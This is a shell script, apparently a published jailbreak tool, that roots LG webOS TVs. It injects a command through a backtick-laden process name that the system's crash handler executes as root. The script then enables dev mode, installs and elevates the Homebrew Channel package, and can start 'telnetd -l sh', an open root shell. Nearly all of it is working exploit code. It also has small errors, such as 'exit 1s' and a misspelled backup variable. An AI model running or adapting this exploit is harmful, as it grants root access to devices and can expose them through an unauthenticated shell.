#!/bin/sh
# faultmanager-autoroot
# by throwaway96
# https://github.com/throwaway96/faultmanager-autoroot
# Copyright 2024-2025. Licensed under AGPL v3 or later. No warranties.
# Thanks to:
# - buglloc (Andrew Krasichkov) for discovering the vulnerability
# (https://ut.buglloc.com/webos-jailbreak/)
set -e
SCRIPT_DIR="${SCRIPT_DIR:-$(dirname -- "${0}")}"
DEBUG="${DEBUG:-}"
IPK_SRC="${IPK_SRC:-"${SCRIPT_DIR}/hbchannel.ipk"}"
IPK_URL='https://github.com/webosbrew/webos-homebrew-channel/releases/download/v0.7.2/org.webosbrew.hbchannel_0.7.2_all.ipk'
SCRIPT_NAME='faultmanager-autoroot'
PAYLOAD_LOGNAME='payload_log'
PAYLOAD_IPKNAME='hbchannel.ipk'
is_root() {
test "$(id -u)" -eq 0
}
# AppID for toasts/alerts
SRC_APPID='com.webos.service.secondscreen.gateway'
toast() {
[ -n "${logfile}" ] && debug "toasting: '${1}'"
title="${SCRIPT_NAME}"
escape1="${1//\\/\\\\}"
escape="${escape1//\"/\\\"}"
payload="$(printf '{"sourceId":"%s","message":"
%s
%s"}' "${SRC_APPID}" "${title}" "${escape}")"
if is_root; then
luna-send -w 1000 -n 1 -a "${SRC_APPID}" 'luna://com.webos.notification/createToast' "${payload}" >/dev/null
else
luna-send-pub -w 1000 -n 1 -q 'sdkVersion' -f 'luna://com.webos.service.tv.systemproperty/getSystemInfo' '{"keys":["sdkVersion"]}' | sed -n -e 's/^\s*"sdkVersion":\s*"\([0-9.]\+\)"\s*$/\1/p'
fi
}
debug() {
[ -z "${DEBUG}" ] && return
msg="[d] ${1}"
echo "${msg}"
echo "${msg}" >>"${logfile}"
fsync -- "${logfile}"
}
log() {
msg="[ ] ${1}"
echo "${msg}"
echo "${msg}" >>"${logfile}"
fsync -- "${logfile}"
}
error() {
msg="[!] ${1}"
echo "${msg}"
echo "${msg}" >>"${logfile}"
fsync -- "${logfile}"
toast "Error: ${1}"
}
get_sdkversion() {
luna-send-pub -w 1000 -n 1 -q 'sdkVersion' -f 'luna://com.webos.service.tv.systemproperty/getSystemInfo' '{"keys":["sdkVersion"]}' | sed -n -e 's/^\s*"sdkVersion":\s*"\([0-9.]\+\)"\s*$/\1/p'
}
get_devmode_app_state() {
# root required
luna-send -w 5000 -n 1 -q 'returnValue' -f 'luna://com.webos.applicationManager/getAppInfo' '{"id":"com.palmdts.devmode"}' | sed -n -e 's/^\s*"returnValue":\s*\(true\|false\)\s*,\?\s*$/\1/p'
}
create_lockfile() {
lockfile="${1}"
exec 200>"${lockfile}"
flock -x -n -- 200 || { echo '[!] Another instance of this script is currently running'; exit 2; }
trap -- "rm -f -- '${lockfile}'" EXIT
}
check_sd_verify() {
script_systemd='/lib/systemd/system/scripts/devmode.sh'
script_upstart='/etc/init/devmode.conf'
if [ -e "${script_systemd}" ]; then
script="${script_systemd}"
elif [ -e "${script_upstart}" ]; then
script="${script_upstart}"
else
log 'Missing both devmode init scripts; please report this!'
# err on the safe side by assuming it will be verified
return 0
fi
if [ ! -f "${script}" ]; then
log 'Devmode init script is not a file; please report this!'
return 0
fi
fgrep -q -e 'openssl dgst' -- "${script}"
}
download_file() {
dl_url="${1}"
dl_path="${2}"
if [ -e "${dl_path}" ]; then
log "Download target '${dl_path}' already exists; deleting"
rm -f -- "${dl_path}"
fi
curl -L -o "${dl_path}" -- "${dl_url}"
}
sd_script='/media/cryptofs/apps/usr/palm/services/com.palmdts.devmode.service/start-devmode.sh'
sd_sig='/media/cryptofs/apps/usr/palm/services/com.palmdts.devmode.service/start-devmode.sig'
sd_key='/usr/palm/services/com.palm.service.devmode/pub.pem'
verify_sd() {
# if it's not present, don't worry about it
[ ! -f "${sd_script}" ] && return 0
if [ ! -f "${sd_key}" ]; then
log "Expected Dev Mode public key is not present; please report this!"
# verification will fail without the public key file
return 1
fi
if [ ! -f "${sd_sig}" ]; then
log 'start-devmode.sh verification failed: missing signature file'
return 1
fi
verify="$(openssl dgst -sha512 -verify "${sd_key}" -signature "${sd_sig}" "${sd_script}")"
case "${verify}" in
'Verified OK')
debug 'start-devmode.sh verification succeeded'
return 0
;;
'Verification Failure')
log 'start-devmode.sh verification failed: signature mismatch'
return 1
;;
*)
log "start-devmode.sh verification failed for unknown reason: '${verify}'"
return 1
;;
esac
}
enable_devmode() {
if [ -d '/var/luna/preferences/devmode_enabled' ]; then
log 'devmode_enabled is already a directory; is your TV already rooted?'
else
if [ -e '/var/luna/preferences/devmode_enabled' ]; then
log 'devmode_enabled exists; make sure the LG Dev Mode app is not installed!'
rm -f -- '/var/luna/preferences/devmode_enabled'
else
debug 'devmode_enabled does not exist'
fi
if ! mkdir -- '/var/luna/preferences/devmode_enabled'; then
error 'Failed to create devmode_enabled directory'
exit 1
fi
fi
}
restart_appinstalld() {
if restart appinstalld >/dev/null; then
debug 'appinstalld restarted'
else
log 'Failed to restart appinstalld'
fi
}
install_ipk() {
ipkpath="${1}"
if [ ! -f "${ipkpath}" ]; then
error 'IPK not found during installation'
exit 1s
fi
instpayload="$(printf '{"id":"com.ares.defaultName","ipkUrl":"%s","subscribe":true}' "${ipkpath}")"
fifopath="${tempdir}/fifo"
mkfifo -- "${fifopath}"
log "Installing ${ipkpath}..."
toast 'Installing...'
luna-send -w 20000 -i 'luna://com.webos.appInstallService/dev/install' "${instpayload}" >"${fifopath}" &
luna_pid="${!}"
if ! result="$(fgrep -m 1 -e 'installed' -e 'failed' -e 'Unknown method' -- "${fifopath}")"; then
rm -f -- "${fifopath}"
error 'Install timed out'
exit 1
fi
kill -TERM "${luna_pid}" 2>/dev/null || true
rm -f -- "${fifopath}"
case "${result}" in
*installed*) ;;
*"Unknown method"*)
error 'Installation failed (devmode_enabled not recognized)'
debug "/dev/install response: '${result}'"
return 1
;;
*failed*)
error 'Installation failed'
log "/dev/install response: '${result}'"
exit 1
;;
*)
error 'Installation failed for unknown reason'
log "/dev/install response: '${result}'"
exit 1
;;
esac
return 0
}
elevate_hbchannel() {
if ! /media/developer/apps/usr/palm/services/org.webosbrew.hbchannel.service/elevate-service >"${tempdir}/elevate.log"; then
error 'Elevation failed'
exit 1
fi
}
# Set up persistent root access
perform_root() {
enable_devmode
restart_appinstalld
sleep_secs_base=2
retries=3
for retry in $(seq "${retries}" -1 0); do
if install_ipk "${ipk}"; then
# success
break
fi
if [ "${retry}" -eq 0 ]; then
error 'Retries exhausted: giving up'
exit 1
fi
sleep_secs=$((sleep_secs_base * (retries - retry + 1)))
restart_appinstalld
log "Sleeping for ${sleep_secs} seconds before trying again (${retry} tries remaining)"
sleep "${sleep_secs}"
done
elevate_hbchannel
log 'Rooting complete'
toast 'Rooting complete. Do not install the LG Dev Mode app while rooted!
'
if [ -f "${sd_script}" ]; then
if check_sd_verify; then
log 'Current firmware verifies start-devmode.sh signature'
if verify_sd; then
log 'Your start-devmode.sh passes verification. If the Dev Mode app is installed, uninstall it!'
else
mv -- "${sd_script}" "${sc_script}.backup"
log 'Your start-devmode.sh failed verification and was renamed to prevent /media/developer from being wiped'
toast 'Warning: Renamed start-devmode.sh to prevent deletion of apps'
fi
else
log 'Current firmware does not verify start-devmode.sh signature, but an updated version might'
if [ ! -f "${sd_sig}" ]; then
log 'You are missing start-devmode.sig, so verification would fail. Be careful updating your firmware!'
fi
fi
else
debug 'start-devmode.sh does not exist; skipping checks'
fi
devmode_installed="$(get_devmode_app_state)"
debug "Dev Mode app installed: '${devmode_installed}'"
buttons_reboot='{"label":"Reboot now","onclick":"luna://com.webos.service.sleep/shutdown/machineReboot","params":{"reason":"remoteKey"}},{"label":"Don'\''t reboot"}'
buttons_ok='{"label":"OK"}'
message_reboot='Would you like to reboot now?'
message_devmode='However, the Dev Mode app is installed. You must uninstall it before rebooting!'
message_devmode_unknown='The status of the Dev Mode app could not be determined. Please report this issue. If you know it is not installed, you can reboot now. Otherwise, make sure it is removed before rebooting.
Would you like to reboot now?'
case "${devmode_installed}" in
false)
log "Dev Mode app not installed. (Don't install it!)"
buttons="${buttons_reboot}"
message="${message_reboot}"
;;
true)
log 'Dev Mode app installed; uninstall it before rebooting!'
buttons="${buttons_ok}"
message="${message_devmode}"
;;
*)
log "Unknown Dev Mode app state: '${devmode_installed}' (please report)"
buttons="${buttons_reboot}"
message="${message_devmode_unknown}"
;;
esac
payload="$(printf '{"sourceId":"%s","message":"%s
Rooting complete. You may need to reboot for Homebrew Channel to appear.
%s","buttons":[%s]}' "${SRC_APPID}" "${SCRIPT_NAME}" "${message}" "${buttons}")"
alert_response="$(luna-send -w 2000 -a "${SRC_APPID}" -n 1 'luna://com.webos.notification/createAlert' "${payload}")"
debug "/createAlert response: '${alert_response}'"
}
gen_random4() {
# Older BusyBox mktemp will prefix bare XXXXXX with "file"
randstr="$(mktemp -u -- '_XXXXXX')"
echo "${randstr:1:4}"
}
find_python() {
python2_path='/usr/bin/python'
python3_path='/usr/bin/python3'
if [ -e "${python3_path}" ]; then
echo "${python3_path}"
elif [ -e "${python2_path}" ]; then
echo "${python2_path}"
else
error "Python not found"
exit 1
fi
}
# Runs as root
payload() {
logfile="${tempdir}/${PAYLOAD_LOGNAME}"
# Only allow the script to run once per tempdir
payload_oncefile="${tempdir}/payload.once"
[ -e "${payload_oncefile}" ] && { debug 'Script already executed'; exit 3; }
touch -- "${payload_oncefile}"
[ -n "${DEBUG}" ] && toast 'Script is running!'
[ -n "${TELNET}" ] && { telnetd -l sh || echo "[!] Failed to start telnetd (${?})"; }
log "script path: ${0}"
if ! is_root; then
log "warning: not running as root!"
fi
ipk="${tempdir}/${PAYLOAD_IPKNAME}"
if [ ! -e "${ipk}" ]; then
error "IPK does not exist ('${ipk}')"
fi
log "date: $(date -u -- '+%Y-%m-%d %H:%M:%S UTC')"
log "id: $(id)"
perform_root
}
umask 022
while [ "${#}" -gt 0 ]; do
case "${1}" in
'-d'|'--debug')
DEBUG='arg'
;;
'-t'|'--telnet')
TELNET='arg'
;;
'--payload')
PAYLOAD='arg'
tempdir="${2}"
shift 1
;;
*)
echo "Unknown option '${1}'"
exit 1
;;
esac
shift
done
if [ -n "${PAYLOAD}" ]; then
# Payload (root) mode
create_lockfile '/tmp/autoroot-payload.lock'
payload
exit
fi
# Exploit (non-root) mode
create_lockfile '/tmp/autoroot.lock'
if ! tempdir="$(mktemp -d -- '/tmp/autoroot.XXXXXX')"; then
echo '[x] Failed to create random temporary directory; using PID-based fallback'
tempdir="/tmp/autoroot.${$}"
if ! mkdir -- "${tempdir}"; then
echo "[x] PID-based fallback temporary directory ${tempdir} already exists"
tempdir='/tmp/autoroot.temp'
rm -rf -- "${tempdir}"
mkdir -- "${tempdir}"
fi
fi
logfile="${tempdir}/log"
touch -- "${logfile}"
if [ -n "${DEBUG}" ]; then
loglink='/tmp/autoroot.log'
rm -rf -- "${loglink}"
ln -s -- "${logfile}" "${loglink}"
fi
log 'hi'
log "script path: ${0}"
debug "temp dir: ${tempdir}"
log "date: $(date -u -- '+%Y-%m-%d %H:%M:%S UTC')"
log "id: $(id)"
trap -- "cp -f -- '${logfile}' '${SCRIPT_DIR}/autoroot.log'" EXIT
webos_version="$(get_sdkversion)"
log "webOS version: ${webos_version}"
payload_ipk="${tempdir}/${PAYLOAD_IPKNAME}"
if [ -f "${IPK_SRC}" ]; then
debug "Using bundled Homebrew Channel IPK"
cp -- "${IPK_SRC}" "${payload_ipk}"
else
log "Homebrew Channel IPK not found at '${IPK_SRC}'; downloading..."
if ! download_file "${IPK_URL}" "${payload_ipk}"; then
error "Failed to download Homebrew Channel IPK from ${IPK_URL}"
exit 1
fi
fi
if [ -z "${XDG_DIR}" ]; then
log "warning: XDG_DIR is not set; trying '/tmp/xdg'"
# Hope that it's set in the target daemon's environment
XDG_DIR='/tmp/xdg'
elif [ "${XDG_DIR}" != '/tmp/xdg' ]; then
# This could be bad
log "warning: XDG_DIR is '${XDG_DIR}' (rather than '/tmp/xdg')"
fi
payload_uninterp="\$XDG_DIR-$(gen_random4)"
if [ "${#payload_uninterp}" -gt 15 ]; then
log "warning: path is too long (${#payload_uninterp} > 15)"
fi
payload_script="$(eval 'echo' "${payload_uninterp}")"
debug "payload_script: '${payload_script}'"
payload_logfile="${tempdir}/${PAYLOAD_LOGNAME}"
touch -- "${payload_logfile}"
chmod '0622' -- "${payload_logfile}"
temp_script_copy="${tempdir}/autoroot.sh"
rm -f -- "${temp_script_copy}"
cp -- "${0}" "${temp_script_copy}"
# Forward our command line options
payload_args=''
[ -n "${DEBUG}" ] && payload_args="${payload_args} -d"
[ -n "${TELNET}" ] && payload_args="${payload_args} -t"
cat >"${payload_script}" <<__EOF__
#!/bin/sh
sh "${temp_script_copy}" --payload "${tempdir}" ${payload_args}
__EOF__
chmod '0755' -- "${payload_script}"
# Create a link to python so that when it crashes, it will have the comm we want
crash="${tempdir}/\`${payload_uninterp}\`"
ln -s -- "$(find_python)" "${crash}"
# Crash with one of the signals handled by libSegFault
"${crash}" -c 'import os;os.kill(os.getpid(),11)' || true
# Display output from payload
echo "Payload log:"
tail -f -- "${payload_logfile}"